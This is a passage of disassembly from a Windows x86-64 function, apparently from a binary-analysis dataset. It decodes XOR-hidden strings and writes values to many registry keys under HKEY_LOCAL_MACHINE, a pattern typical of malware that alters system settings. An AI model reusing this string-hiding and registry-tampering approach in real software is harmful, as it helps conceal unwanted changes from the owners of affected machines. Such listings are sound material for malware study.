Function at 0x1400047f0
Capabilities:
Encode data using base64
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x109e8
call fcn.14010b510
sub rsp, rax
movdqa xmmword [rsp + 0x109d0], xmm8
movdqa xmmword [rsp + 0x109c0], xmm7
movdqa xmmword [rsp + 0x109b0], xmm6
mov ecx, 5
xor edx, edx
call fcn.140089c00
lea rax, [0x1401b51d3]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x2d28918faac8fb97
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400951a0
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx ebx, byte [rax + 0x1c]
movzx eax, byte [0x140254141]
mov edx, 0x1d
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r12, rax
xor bl, 0x2d
xor esi, 0x93108ffa
movabs rax, 0x2782c70b2121c692
xor rdi, rax
movabs rax, 0x7136eae7b19746a6
xor r14, rax
movabs rax, 0x23afc7cd3ff49c52
xor r15, rax
mov qword [r12], r15
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rdi
mov dword [r12 + 0x18], esi
mov byte [r12 + 0x1c], bl
lea rcx, [rsp + 0x9b0]
mov r8d, 0x1d
mov rdx, r12
call fcn.140093580
cmp dword [rsp + 0x9b0], 2
jne 0x14000c1cd
mov rax, qword [rsp + 0x9b8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140004975
test rcx, rcx
je 0x140004975
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140004964
cmp qword [rbx + 0x10], 0x11
jb 0x140004953
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov dword [rsp + 0x9b0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x9b8], xmm0
mov dword [rsp + 0x9c8], 7
mov qword [rsp + 0x9cc], 0
mov word [rsp + 0x9d4], 0
mov byte [rsp + 0x9d1], 1
mov byte [rsp + 0x9d4], 1
mov byte [rsp + 0x9d3], 1
lea r8, [rsp + 0x9b0]
mov edx, 0x1d
mov rcx, r12
call fcn.140092f90
mov rdi, rax
mov rsi, rdx
lea rax, [0x1401ae44c]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xda045643a4a8ef65
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095170
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx eax, byte [rax + 0x1c]
test rdi, rdi
jne case.0x140008008.0
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x1401ad4fb]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x6d947efce68538ce
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094dd0
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
movzx ebx, byte [rax + 0x10]
movzx eax, byte [0x140254141]
mov edx, 0x11
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r15, rax
xor bl, 0xf3
movabs rax, 0x19148b7446d9ac5d
xor rsi, rax
movabs rax, 0x8c210d568733a669
xor rdi, rax
mov qword [r15], rsi
mov qword [r15 + 8], rdi
mov byte [r15 + 0x10], bl
lea rax, [0x1401b205b]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x3fcf427c0e7f915a
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094c20
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x140254141]
mov edx, 0xb
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r13, rax
shl ebx, 0x10
or edi, ebx
mov eax, edi
shr eax, 0x10
xor al, 5
mov ecx, edi
xor cl, 0x7c
shr edi, 8
xor dil, 0xc4
movzx ecx, cl
movzx edx, dil
shl edx, 8
or edx, ecx
movabs rcx, 0x122813d5b4ece99a
xor rsi, rcx
mov qword [r13], rsi
mov word [r13 + 8], dx
mov byte [r13 + 0xa], al
lea rax, [0x1401ae718]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x7ef68710672b7e4b
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095140
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x140254141]
mov edx, 0xb
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r14, rax
shl ebx, 0x10
or edi, ebx
mov eax, edi
shr eax, 0x10
xor al, 0xec
mov ecx, edi
xor cl, 0x20
shr edi, 8
xor dil, 0x5b
movzx ecx, cl
movzx edx, dil
shl edx, 8
or edx, ecx
movabs rcx, 0x5d0654ed6033d051
xor rsi, rcx
mov qword [r14], rsi
mov word [r14 + 8], dx
mov byte [r14 + 0xa], al
lea rax, [0x1401b0f12]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x716f2451e33577e7
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094f30
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx eax, byte [0x140254141]
mov edx, 0xa
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rbp, rax
mov eax, edi
xor al, 0x10
shr edi, 8
xor dil, 0xd1
movzx ecx, dil
shl ecx, 8
movzx eax, al
or eax, ecx
movabs rcx, 0x8ec473465250a0a4
xor rsi, rcx
mov qword [rbp], rsi
mov word [rbp + 8], ax
lea rax, [0x1401aa074]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xdfe71c8394cb3974
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094b30
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x140254141]
mov edx, 0xb
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl ebx, 0x10
or edi, ebx
mov r8d, edi
shr r8d, 0x10
xor r8b, 0xeb
mov ecx, edi
xor cl, 0xf7
shr edi, 8
xor dil, 0x37
movzx ecx, cl
movzx edx, dil
shl edx, 8
or edx, ecx
movabs rcx, 0x79a6a3fb9d589743
xor rsi, rcx
mov qword [rax], rsi
mov word [rax + 8], dx
mov qword [rsp + 0x690], rax
mov byte [rax + 0xa], r8b
lea rax, [0x1401add04]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xc746afcc4e517331
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400957a0
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x140254141]
mov edx, 0xb
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl ebx, 0x10
or edi, ebx
mov r8d, edi
shr r8d, 0x10
xor r8b, 0xc5
mov ecx, edi
xor cl, 0x82
shr edi, 8
xor dil, 0x39
movzx ecx, cl
movzx edx, dil
shl edx, 8
or edx, ecx
movabs rcx, 0xba2b6a703a54d41b
xor rsi, rcx
mov qword [rax], rsi
mov word [rax + 8], dx
mov qword [rsp + 0x688], rax
mov byte [rax + 0xa], r8b
lea rax, [0x1401b0fb5]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x5c3d5397bc9e9a9f
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095700
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x140254141]
mov edx, 0xd
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor bl, 0xa7
xor esi, 0xa454a358
movabs rcx, 0x37ecfc680608b9f3
xor rdi, rcx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x680], rax
mov byte [rax + 0xc], bl
lea rax, [0x1401aa848]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x92cf14d0ed7d9665
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400950e0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx eax, byte [0x140254141]
mov edx, 0xc
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor esi, 0xeaf25464
movabs rcx, 0x191e0429f5ef2d2c
xor rdi, rcx
mov qword [rax], rdi
mov qword [rsp + 0x678], rax
mov dword [rax + 8], esi
lea rax, [0x1401b065b]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xb2dcb5310c9e48f5
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094d10
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x140254141]
mov edx, 0xd
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor bl, 0x11
xor esi, 0xce40dbab
movabs rcx, 0xdc4cc0e3f46fd7c8
xor rdi, rcx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x670], rax
mov byte [rax + 0xc], bl
lea rax, [0x1401b30c2]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x95d0ad315381752b
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095900
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
movzx ebx, word [rax + 0x10]
movzx eax, byte [0x140254141]
mov edx, 0x12
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov edx, ebx
xor dl, 0x99
shr ebx, 8
xor bl, 0xf6
movzx ecx, bl
shl ecx, 8
movzx edx, dl
or edx, ecx
movabs rcx, 0x2cce0d224c7e8fa7
xor rsi, rcx
movabs rcx, 0xc9786336402d4977
xor rdi, rcx
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rsp + 0x668], rax
mov word [rax + 0x10], dx
lea rax, [0x1401af193]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x20c5969145536064
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095310
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx eax, byte [0x140254141]
mov edx, 0xa
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov edx, edi
xor dl, 0xef
shr edi, 8
xor dil, 0x54
movzx ecx, dil
shl ecx, 8
movzx edx, dl
or edx, ecx
movabs rcx, 0x4b63cc79b4d47a9a
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x660], rax
mov word [rax + 8], dx
lea rax, [0x1401ac875]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x47ef6957c3a6feb9
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400956e0
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx eax, byte [0x140254141]
mov edx, 0xa
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov edx, edi
xor dl, 0x17
shr edi, 8
xor dil, 0x2f
movzx ecx, dil
shl ecx, 8
movzx edx, dl
or edx, ecx
movabs rcx, 0x6e7bf95f19f20260
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x650], rax
mov word [rax + 8], dx
lea rax, [0x1401b84ec]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x531f482af3796f4
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094e30
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x140254141]
mov edx, 0xd
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor bl, 0x4b
xor esi, 0x3f67c819
movabs rcx, 0xbb7702a8f3980e8c
xor rdi, rcx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x648], rax
mov byte [rax + 0xc], bl
lea rax, [0x1401b06eb]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xc1f77a90f368d829
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094c50
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx ebx, byte [rax + 0xa]
movzx eax, byte [0x140254141]
mov edx, 0xb
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov qword [rsp + 0x658], rbp
shl ebx, 0x10
or edi, ebx
mov r8d, edi
shr r8d, 0x10
xor r8b, 0xa0
mov ecx, edi
xor cl, 0x26
shr edi, 8
xor dil, 0xae
movzx ecx, cl
movzx edx, dil
shl edx, 8
or edx, ecx
movabs rcx, 0xd685e7d964184e14
xor rsi, rcx
mov qword [rax], rsi
mov word [rax + 8], dx
mov qword [rsp + 0x640], rax
mov byte [rax + 0xa], r8b
lea rax, [0x1401b6ce3]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x98a72496f1be281c
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095770
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, byte [rax + 0xc]
movzx eax, byte [0x140254141]
mov edx, 0xd
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov qword [rsp + 0x638], r14
xor bl, 0xdc
xor esi, 0x66a3b994
movabs rcx, 0x6fc1f3c8d4588862
xor rdi, rcx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov qword [rsp + 0x630], rax
mov byte [rax + 0xc], bl
lea rax, [0x1401b40c2]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x119fbd2accb55116
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094ec0
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, word [rax + 0xc]
movzx ebp, byte [rax + 0xe]
movzx eax, byte [0x140254141]
mov edx, 0xf
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl ebp, 0x10
or ebx, ebp
mov r8d, ebx
shr r8d, 0x10
xor r8b, 0x3d
mov ecx, ebx
xor cl, 0x2e
shr ebx, 8
xor bl, 0x87
movzx ecx, cl
movzx edx, bl
shl edx, 8
or edx, ecx
xor esi, 0xedd5599d
movabs rcx, 0x621178beea6a204f
xor rdi, rcx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov word [rax + 0xc], dx
mov qword [rsp + 0x628], rax
mov byte [rax + 0xe], r8b
lea rax, [0x1401b09e5]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x9daf9421b5cd9b84
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094d40
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx eax, byte [0x140254141]
mov edx, 0x1c
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor esi, 0x6402fc82
movabs rcx, 0x888aaa2589863d9f
xor rdi, rcx
movabs rcx, 0x734f5e3b620dfbe3
xor rbx, rcx
movabs rcx, 0xf1f5034d40b1a4fa
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rsp + 0x620], rax
mov dword [rax + 0x18], esi
lea rax, [0x1401aee5b]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xf30eec1745945f05
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400951d0
mov r14, qword [rax]
mov rdi, qword [rax + 8]
mov rsi, qword [rax + 0x10]
movzx ebx, byte [rax + 0x18]
movzx eax, byte [0x140254141]
mov edx, 0x19
xor ecx, ecx
call fcn.14008bd10
test rax, rax
mov rbp, qword [rsp + 0x658]
je case.0x140008008.0
mov qword [rsp + 0x798], r12
xor bl, 0x8f
movabs rcx, 0x9a48304fa6f8bd03
xor rsi, rcx
movabs rcx, 0x54bc38b60ea23207
xor rdi, rcx
movabs rcx, 0x72d6bc4875786962
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], bl
movzx ecx, byte [0x140254141]
mov edx, 0x120
xor ecx, ecx
mov rsi, rax
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rcx, rax
mov qword [rsp + 0x790], r15
mov qword [rax], r15
mov qword [rax + 8], 0x11
mov qword [rsp + 0x788], r13
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xb
mov rax, qword [rsp + 0x638]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 0xb
mov qword [rcx + 0x30], rbp
mov qword [rcx + 0x38], 0xa
mov rax, qword [rsp + 0x690]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], 0xb
mov rax, qword [rsp + 0x688]
mov qword [rcx + 0x50], rax
mov qword [rcx + 0x58], 0xb
mov rax, qword [rsp + 0x680]
mov qword [rcx + 0x60], rax
mov qword [rcx + 0x68], 0xd
mov rax, qword [rsp + 0x678]
mov qword [rcx + 0x70], rax
mov qword [rcx + 0x78], 0xc
mov rax, qword [rsp + 0x670]
mov qword [rcx + 0x80], rax
mov qword [rcx + 0x88], 0xd
mov rax, qword [rsp + 0x668]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0x12
mov rax, qword [rsp + 0x660]
mov qword [rcx + 0xa0], rax
mov qword [rcx + 0xa8], 0xa
mov rax, qword [rsp + 0x650]
mov qword [rcx + 0xb0], rax
mov qword [rcx + 0xb8], 0xa
mov rax, qword [rsp + 0x648]
mov qword [rcx + 0xc0], rax
mov qword [rcx + 0xc8], 0xd
mov rax, qword [rsp + 0x640]
mov qword [rcx + 0xd0], rax
mov qword [rcx + 0xd8], 0xb
mov rax, qword [rsp + 0x630]
mov qword [rcx + 0xe0], rax
mov qword [rcx + 0xe8], 0xd
mov rax, qword [rsp + 0x628]
mov qword [rcx + 0xf0], rax
mov qword [rcx + 0xf8], 0xf
mov rax, qword [rsp + 0x620]
mov qword [rcx + 0x100], rax
mov qword [rcx + 0x108], 0x1c
mov qword [rsp + 0x780], rsi
mov qword [rcx + 0x110], rsi
mov qword [rsp + 0x698], rcx
mov qword [rcx + 0x118], 0x19
lea rax, [0x1401ad674]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x1e253f128d5d1d1a
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400950b0
movabs rcx, 0x8eb84374e19d3ed7
xor rcx, qword [rax]
movabs rdx, 0x35d9da35c0683ff
xor rdx, qword [rax + 8]
movabs r8, 0xc944fd6aaddd1f37
xor r8, qword [rax + 0x10]
movzx eax, byte [rax + 0x18]
xor al, 0xde
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7f0], r8
mov byte [rsp + 0x7f8], al
lea rax, [0x1401ac07d]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xed798e031ef56b55
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094b00
mov rcx, qword [rax]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x58], rcx
mov rbp, qword [rax + 0x10]
mov r13, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
mov r15, qword [rax + 0x28]
mov r14, qword [rax + 0x30]
mov rdi, qword [rax + 0x38]
mov rsi, qword [rax + 0x40]
movzx ebx, byte [rax + 0x48]
movzx eax, byte [0x140254141]
mov edx, 0x49
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
xor bl, 0x4b
movabs rcx, 0x9f2f66d17f8c2561
xor rsi, rcx
movabs rcx, 0xb216515f44bd73dc
xor rdi, rcx
movabs rcx, 0xc056d525c59b3408
xor r14, rcx
movabs rcx, 0x9f027d5c2f505437
xor r15, rcx
movabs rcx, 0xea8d4f672337976a
xor r12, rcx
movabs rcx, 0x7fe06b6c56787a77
xor r13, rcx
movabs rcx, 0x990aaefd39e54d78
xor rbp, rcx
movabs rcx, 0xd81e4ada38e13682
mov rdx, qword [rsp + 0x58]
xor rdx, rcx
movabs rcx, 0xb7d3057c654a4c90
mov r8, qword [rsp + 0x70]
xor r8, rcx
mov qword [rax], r8
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], r14
mov qword [rax + 0x38], rdi
mov qword [rax + 0x40], rsi
mov byte [rax + 0x48], bl
mov qword [rsp + 0x6d8], 0x49
mov qword [rsp + 0x6e0], rax
mov qword [rsp + 0x6e8], 0x49
xor r15d, r15d
lea r14, [rsp + 0x1d8]
lea rbx, [rsp + 0x4e8]
lea r12, [rsp + 0x9b0]
jmp 0x1400059d9
add r15, 0x10
cmp r15, 0x120
lea r12, [rsp + 0x9b0]
je 0x140005dab
mov rax, qword [rsp + 0x698]
add rax, r15
mov qword [rsp + 0x168], rax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x1d8], rax
lea rax, [0x140001e10]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x1e8], rax
lea rax, [0x14009a4c0]
mov qword [rsp + 0x1f0], rax
lea rax, [0x1401b91c0]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 2
mov qword [rsp + 0x9d0], 0
mov qword [rsp + 0x9c0], r14
mov qword [rsp + 0x9c8], 2
mov qword [rsp + 0x4e8], 0
mov qword [rsp + 0x4f0], 1
mov qword [rsp + 0x4f8], 0
mov rcx, rbx
lea rdx, [0x1401b97c8]
mov r8, r12
call fcn.14000da30
test al, al
jne case.0x140008008.0
mov rsi, qword [rsp + 0x4e8]
mov rdi, qword [rsp + 0x4f0]
mov rax, qword [rsp + 0x4f8]
add rax, rdi
mov qword [rsp + 0x9b0], rdi
mov qword [rsp + 0x9b8], rax
mov word [rsp + 0x9c0], 0
mov dword [rsp + 0x9c8], 1
mov rcx, r14
mov rdx, r12
call fcn.140097bf0
mov qword [rsp + 0x9b0], 0
mov dword [rsp + 0x4e8], 0
mov r13, qword [rsp + 0x1e0]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, r13
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegCreateKeyExW
mov ebp, eax
test eax, eax
je 0x140005c90
mov r12, rbp
shl r12, 0x20
or r12, 2
cmp qword [rsp + 0x1d8], 0
je 0x140005b76
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
movzx eax, byte [0x140254141]
test ebp, ebp
jne 0x140005cac
mov edx, 4
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r13, rax
mov dword [rax], 0x41888887
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x7f9]
mov qword [rsp + 0x9b8], rax
mov word [rsp + 0x9c0], 0
mov dword [rsp + 0x9c8], 1
mov rcx, r14
lea rdx, [rsp + 0x9b0]
call fcn.140097bf0
mov rbx, qword [rsp + 0x1e0]
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x28], 4
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
mov r9d, 4
call sub.ADVAPI32.dll_RegSetValueExW
mov ebp, eax
cmp qword [rsp + 0x1d8], 0
je 0x140005c2f
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
test ebp, ebp
jne 0x140005cc9
movabs rax, 0xffffffff7fffffff
cmp r12, rax
ja 0x140005c5f
mov rcx, r12
call sub.ADVAPI32.dll_RegCloseKey
test rsi, rsi
lea rbx, [rsp + 0x4e8]
je 0x1400059c0
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
jmp 0x1400059c0
mov r12, qword [rsp + 0x9b0]
cmp qword [rsp + 0x1d8], 0
jne 0x140005b65
jmp 0x140005b76
mov edx, 8
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rbx, rax
mov qword [rax], r12
jmp 0x140005d0a
movzx eax, byte [0x140254141]
mov edx, 8
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rbx, rax
shl rbp, 0x20
or rbp, 2
mov qword [rax], rbp
movabs rax, 0xffffffff7fffffff
cmp r12, rax
ja 0x140005d0a
mov rcx, r12
call sub.ADVAPI32.dll_RegCloseKey
test rsi, rsi
je 0x140005d20
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x6d8], 0
je 0x140005d41
mov r8, qword [rsp + 0x6e0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rbx]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140005d9d
test rcx, rcx
je 0x140005d9d
lea rdi, [rax - 1]
mov r14, qword [rax - 1]
mov rsi, qword [rax + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140005d8c
cmp qword [rsi + 0x10], 0x11
jb 0x140005d7b
mov r14, qword [r14 - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
jmp 0x140005dc7
cmp qword [rsp + 0x6d8], 0
je 0x140005dcc
mov r8, qword [rsp + 0x6e0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x1401b81bf]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x948026898cd7eeee
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094b90
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebx, word [rax + 0xc]
movzx ebp, byte [rax + 0xe]
movzx eax, byte [0x140254141]
mov edx, 0xf
